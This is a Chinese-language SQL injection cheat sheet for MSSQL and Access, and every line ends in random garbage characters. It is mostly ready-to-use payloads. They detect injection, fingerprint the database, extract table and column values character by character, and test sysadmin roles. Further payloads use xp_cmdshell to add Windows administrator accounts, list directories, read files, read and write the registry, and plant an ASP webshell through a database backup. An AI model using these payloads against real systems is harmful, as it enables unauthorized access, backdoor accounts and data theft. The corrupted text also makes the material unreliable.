1.判断是否有注入;and 1=1 ;and 1=2 id,' + <
2.初步判断是否是mssql ;and user>0 p! k~ufU
vMY!Z1.*
3.注入参数是字符'and [查询条件] and ''=' {^Q,G x(
tW!*W?
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Ze/\IBd
le_aIbB"P
5.判断数据库系统 leF!Uog
!5'4FUlJ
;and (select count(*) from sysobjects)>0 mssql h}tC+_"D
W2%@}IDm
;and (select count(*) from msysobjects)>0 access ;I@\}!%H
Y9-F\t=~
0`V=x+*,
P(-
6.猜数据库 ;and (select Count(*) from [数据库名])>0 {\k }:)
#Mk3cp^Yl
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 k&L/JzzI
G]$EIf'
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 1.N2!:&G|
n5oX 51J
9.(1)猜字段的ascii值(access) [CI0N
I6F
com4@NK
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2&pE
9,&xG\z=
(2)猜字段的ascii值(mssql) o&M.9V?~~
LRaO}-<b
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 V^!^wLLi
d"E3ypPK
10.测试权限结构(mssql) T#6g5Jnsp
g[O
}(DH_0
\N-3JO Vy
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2 ( I4h[
;"#y HP`
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- #Muh|P]%\
R-<8j`[0
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ? [5>!
KiFTj$w,
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- CAx
eJ`Q
_E8Cvaob
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- m6^#pqSL
d@$bPQQ$,
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- h{zb)'R
_iDVd2X"H
;and 1=(select IS_MEMBER('db_owner'));-- O#):*II`9
*_J{_7pwe
FG!hb?_1
EbX!;z
11.添加mssql和系统的帐户 NX8hFwR
oC}
u
;exec master.dbo.sp_addlogin username;-- }CZw'fhVWO
;exec master.dbo.sp_password null,username,password;-- m]}U!XT
tcRJ1:d
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- n'q:L(`M
{_L l'S
;exec master.dbo.xp_cmdshell 'net user username password O^6anUV0
? EHheZ{
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 4W49*Je
Og@{6>
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6ce-92n
|'P$zMAF
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- %,<Ki]F
mvTp,^1
5a@9PX^.J
M=&,+#z<V
12.(1)遍历目录 [dz3k@ >0
@OFxnF`
;create table dirs(paths varchar(100), id int) S-3hLw&?
kw#-\RR_c
;insert dirs exec master.dbo.xp_dirtree 'c:\' S3WUccv
YAeF*vP
;and (select top 1 paths from dirs)>0 F&7|`o3
u^JsKG+,:
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ,LSiQmV5
gJ9"$fIPc
'DpJ#w\81
h7T),UL
(2)遍历目录 [.Kp/,JY
liLhvcd
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- "dDrw ]P;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 T,>L
WK7?~R%rq
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 q TN)2G
cL03V? }
~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 jf)l; \u
SA=>9L,2
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5E~^-wX
:lvBcFw
^[Ka+E^Q
-<5{wQE;|
13.mssql中的存储过程 BbCO K
3/Z>W|w#w
xp_regenumvalues 注册表根键, 子键 /T(9:1/G
'U`;4AN
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
rJCb8x+5a
|K-`
xp_regread 根键,子键,键值名 {N/%%O.b
4G&dBH
;exec xp_regread r@Jy*2[-Jq
nQ_{IO8/6W
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 0('ec60u
g; ]'
xp_regwrite 根键,子键, 值名, 值类型, 值 u5glKE
7X/t2Vih@
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 zhFm2
y*-_
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L*A-&9.p3
bDtb6hL
xp_regdeletevalue 根键,子键,值名 bP#!U'b" =
wB \`3u4
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 p&]V!O
"z3rH~q72
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 qa
)BbK^i
?&~q^t?u
Cgh84
2%
1nskf*Z
14.mssql的backup创建webshell Y-YuY
DyGls8<\!
use model
G7al@
}F _c0zM
create table cmd(str image); %KT}Map
e}d(.H%l0
insert into cmd(str) values (''); G`>]ng
wL
4Y%g
backup database model to disk='c:\l.asp'; A&~fw^HM
~S\L(B(
d`B<\Y#{Us
S\&3t}_
15.mssql内置函数 %sr- xE
G,|!&=Pe|E
;and (select @@version)>0 获得Windows的版本号 U"p</Q
\?^2}K/
;and user_name()='dbo' 判断当前系统的连接用户是不是sa tMiIlf!>p
PKSfu++Z
;and (select user_name())>0 爆当前系统的连接用户 4#0 3x:/<\
y-1e(:GF
;and (select db_name())>0 得到当前连接的数据库 l_+@Xpl
i!?gga
m3lz#Pm'0
qEST[S V
16.简洁的webshell eNAxVF0
UGhEaKH~R
use model e;6KxvX~
JL= c IH8
create table cmd(str image); =W.}&
.w.:o2L
insert into cmd(str) values (''); f` uRC-B/
.="XvVdkp
backup database model to disk='g:\wwwtest\l.asp';